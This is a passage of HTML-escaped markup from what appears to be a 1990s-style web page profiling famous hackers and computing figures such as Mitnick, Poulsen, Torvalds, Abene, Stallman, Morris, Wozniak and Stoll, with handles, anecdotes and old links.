style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;The first hacker to have his face immortalized on an FBI "Most Wanted" poster. His status as a repeat offender -- a teenage hacker who couldn't grow up -- earned Mitnick the nickname The Lost Boy of Cyberspace. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;First encountered a computer:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;As a teenager. Mitnick couldn't afford a computer, so he hung out in a Radio Shack store. He used the store's demo models and modem to dial other computers. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;During the three years he was on the lam, Mitnick used Internet Relay Chat (IRC) as a message drop and to communicate with his friends. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Sentenced to a year in a residential treatment center, Mitnick enrolled in a 12-step program to rid himself of what a judge agreed was his "computer addiction." Hey, it's &lt;st1:state st="on"&gt;&lt;st1:place st="on"&gt;California&lt;/st1:place&gt;&lt;/st1:state&gt;. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;For an update on Mitnick's travails in jail:&lt;a href="http://www.2600.com/kevin"&gt; &lt;/a&gt;&lt;a href="http://www.2600.com/kevin" target="_blank"&gt;http://www.2600.com/kevin&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px; font-size: 85%;" align="center" width="100%"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;        &lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Kevin Poulsen&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handle: &lt;span style="color: rgb(51, 51, 255);"&gt;Dark Dante&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;b&gt;a.k.a.: &lt;span style="color: rgb(51, 51, 255);"&gt;Kevin Poulsen&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;In 1990 Poulsen took over all telephone lines going into &lt;st1:city st="on"&gt;&lt;st1:place st="on"&gt;Los Angeles&lt;/st1:place&gt;&lt;/st1:city&gt; area radio station KIIS-FM, assuring that he would be the 102nd caller. Poulsen won a Porsche 944 S2 for his efforts. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;First encountered a computer:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;When his parents bought him a TRS-80 (better known as a "Trash-80"). &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;A set of locksmith tools he used to break into phone company trailers. He was caught after a friend commemorated the break-ins with snapshots of Poulsen picking locks. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Pleaded guilty to breaking into computers to get the names of undercover businesses operated by the FBI. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Poulsen's personal take on his legal troubles, at: &lt;a href="http://www.catalog.com/kevin/" target="_blank"&gt;http://www.catalog.com/kevin/&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px; font-size: 85%;" align="center" width="100%"&gt;  &lt;/div&gt;    &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;a name="Linus_Torvalds"&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;                                                             &lt;span style="color: rgb(204, 0, 0);"&gt;                                                                    Linus Torvalds&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(102, 102, 0);font-size:100%;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;A true hacker in the classic sense, Linus Torvalds was a computer science student at the &lt;st1:place st="on"&gt;&lt;st1:placetype st="on"&gt;University&lt;/st1:placetype&gt; of &lt;st1:placename st="on"&gt;Helsinki&lt;/st1:placename&gt;&lt;/st1:place&gt; when he wrote the operating system Linux (a contraction of "Linus' Minix") in 1991. The software has proven to be tremendously popular worldwide -- and best of all it's FREE! &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;Torvalds modestly attributes much of Linux's success to the Net and to Richard Stallman's GNU: Both have facilitated development of his original kernel by fostering collaboration among software programmers and developers. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;He's humble, he's brilliant, he gave us all access to Unix -- no wonder Linus Torvalds received more votes than any other nominee. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;check out: &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;a href="http://www.au.com/meta/history/interview.html" target="_blank"&gt;http://www.au.com/meta/history/interview.html&lt;/a&gt; You say "LIE-nucks," I say "LEE-nukes" ...&lt;br /&gt;To learn how Linus says "Linux," check out: &lt;a href="http://wopr.ml.org/%7Ehunt/linus.html" target="_blank"&gt;http://wopr.ml.org/~hunt/linus.html&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;font-size:85%;" align="center"  width="100%"&gt;  &lt;/div&gt;                                                             &lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-size:100%;" &gt;   Mark Abene&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handle: &lt;span style="color: rgb(51, 51, 255);"&gt;phiber optik&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;b&gt;a.k.a.: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Mark Abene&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to Fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;As a founding member of the Masters of Deception, Phiber Optik inspired thousands of teenagers around the country to "study" the internal workings of our nation's phone system. A federal judge attempted to "send a message" to other hackers by sentencing Phiber to a year in federal prison, but the message got garbled: Hundreds of well-wishers attended a welcome-home party in Abene's honor at an elite Manhattan Club. Soon after, &lt;st1:state st="on"&gt;&lt;st1:place st="on"&gt;New York&lt;/st1:place&gt;&lt;/st1:state&gt; magazine dubbed him one of the city's 100 smartest people. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;First encountered a computer:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Hanging out in the electronics department of the A&amp;S department store in &lt;st1:place st="on"&gt;&lt;st1:city st="on"&gt;Queens&lt;/st1:city&gt;, &lt;st1:state st="on"&gt;N.Y.&lt;/st1:state&gt;&lt;/st1:place&gt;, where his mother worked. There he was introduced to the Apple II, the Timex Sinclair and the Commodore 64. The first computer he owned was a Radio Shack TRS-80 (Trash-80). &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Experimented by dialing patterns on a phone receiver. Abene used the receiver so frequently that it had to be bandaged with black electrical tape to keep its guts from falling out. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Phiber Optik's favorite food: mashed potatoes from Kentucky Fried Chicken. Not real mashed potatoes. Real ones have lumps in them. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;a href="http://www.levity.com/julian/phiber.html" target="_blank"&gt;http://www.levity.com/julian/phiber.html&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;" align="center" size="2" width="100%"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;        &lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Richard Stallman&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;b&gt;Handle:&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;None (nothing to hide !)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;b&gt;a.k.a.:  &lt;span style="color: rgb(51, 51, 255);"&gt;Richard Stallman&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;A hacker of the old school, Stallman walked in off the street and got a job at MIT's Artificial Intelligence Lab in 1971. He was an undergraduate at Harvard at the time. Disturbed that software was viewed as private property, Stallman later founded the Free Software Foundation.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;First encountered a computer:&lt;/b&gt;&lt;br /&gt;In 1969, at the &lt;st1:place st="on"&gt;&lt;st1:placename st="on"&gt;IBM&lt;/st1:placename&gt;  &lt;st1:placename st="on"&gt;New York&lt;/st1:placename&gt; &lt;st1:placename st="on"&gt;Scientific&lt;/st1:placename&gt;  &lt;st1:placetype st="on"&gt;Center&lt;/st1:placetype&gt;&lt;/st1:place&gt;. He was 16 years old.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Unusual tools:&lt;/b&gt;&lt;br /&gt;In the 1980s Stallman left MIT's payroll but continued to work from an office at MIT. Here he created a new operating system called GNU -- short for GNU's Not Unix.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Little-known fact:&lt;/b&gt;&lt;br /&gt;Recipient of a $240,000 MacArthur Foundation genius grant.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Check out:&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.undergrad.math.uwaterloo.ca/" target="_blank"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;http://www.undergrad.math.uwaterloo.ca/&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;" align="center" size="2" width="100%"&gt;  &lt;/div&gt;    &lt;p class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="Robert_Morris"&gt;&lt;/a&gt;&lt;o:p&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Robert Morris&lt;/span&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handle:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-weight: bold;"&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;rtm&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;b&gt;a.k.a.: &lt;span style="color: rgb(51, 51, 255);"&gt;Robert Morris&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;The son of the chief scientist at the &lt;st1:placename st="on"&gt;National&lt;/st1:placename&gt; &lt;st1:placename st="on"&gt;Computer&lt;/st1:placename&gt; &lt;st1:placename st="on"&gt;Security&lt;/st1:placename&gt; &lt;st1:placetype st="on"&gt;Center&lt;/st1:placetype&gt; -- part of the National Security Agency (NSA) -- this &lt;st1:place st="on"&gt;&lt;st1:placename st="on"&gt;Cornell&lt;/st1:placename&gt;  &lt;st1:placetype st="on"&gt;University&lt;/st1:placetype&gt;&lt;/st1:place&gt; graduate student introduced the word "hacker" into the vernacular when he accidentally unleashed an Internet worm in 1988. Thousands of computers were infected and subsequently crashed. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;First encountered a computer:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;At home. Morris' father once brought home one of the original Enigma cryptographic machines from the NSA. It became a household conversation piece. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;As a teenager Morris had an account on the Bell Labs' computer network, where early hacking forays gave him super-user status. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;When the Secret Service raided the home of Legion of Doom member Erik Bloodaxe in 1990, they found a copy of the source code for Morris' Internet worm.&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;" align="center" size="2" width="100%"&gt;  &lt;/div&gt;      &lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt; &lt;span style="color: rgb(204, 0, 0);font-size:100%;" &gt;&lt;a name="Steve_Wozniak"&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p style="color: rgb(204, 0, 0);"&gt;&lt;/o:p&gt;&lt;span style="color: rgb(204, 0, 0); font-weight: bold;"&gt;Steve Wozniak&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 255, 0);font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;Why Woz? Because he exemplifies the young hacker's dream. Just outta college, the two Steves (Wozniak and Jobs) set to work designing computer games (for Atari) and building blue boxes (for themselves). Woz builds the Apple I. It has no keyboard, no case, no sound or graphics, but it is a thing of beauty nonetheless. The boys shake hands on April Fools' Day 1976, and Apple Computer is born. The pride of the Homebrew Computer Club, Wozniak trades in his HP programmable calculator and Jobs sells his VW van to finance production from a &lt;st1:city st="on"&gt;&lt;st1:place st="on"&gt;Palo Alto&lt;/st1:place&gt;&lt;/st1:city&gt; garage. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;Now Wozniak's headed back to Apple, where it all began two decades ago. Will his magic work a second time? &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;a href="http://www.woz.org/pages/staff/steve/steve.html" target="_blank"&gt;http://www.woz.org:80/pages/staff/steve/steve.html&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;" align="center" size="2" width="100%"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;p style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;Clifford Stoll&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;We'll admit this &lt;st1:city st="on"&gt;&lt;st1:place st="on"&gt;Berkeley&lt;/st1:place&gt;&lt;/st1:city&gt; astronomer doesn't qualify as one of the usual suspects: He thinks the Net amounts to one vast cultural wasteland. But Cliff Stoll had the brains and persistence to track KGB cracker Markus Hess through the Ethernet to &lt;st1:place st="on"&gt;&lt;st1:city st="on"&gt;Hanover&lt;/st1:city&gt;, &lt;st1:country-region st="on"&gt;Germany&lt;/st1:country-region&gt;&lt;/st1:place&gt; -- then package the feat as a bestselling, real-life thriller. For many The Cuckoo's Egg was their first introduction to the hacking underworld. It's still a great read. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;So what if its author thinks the Net is a big dose of Silicon snake oil. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;check out: &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br 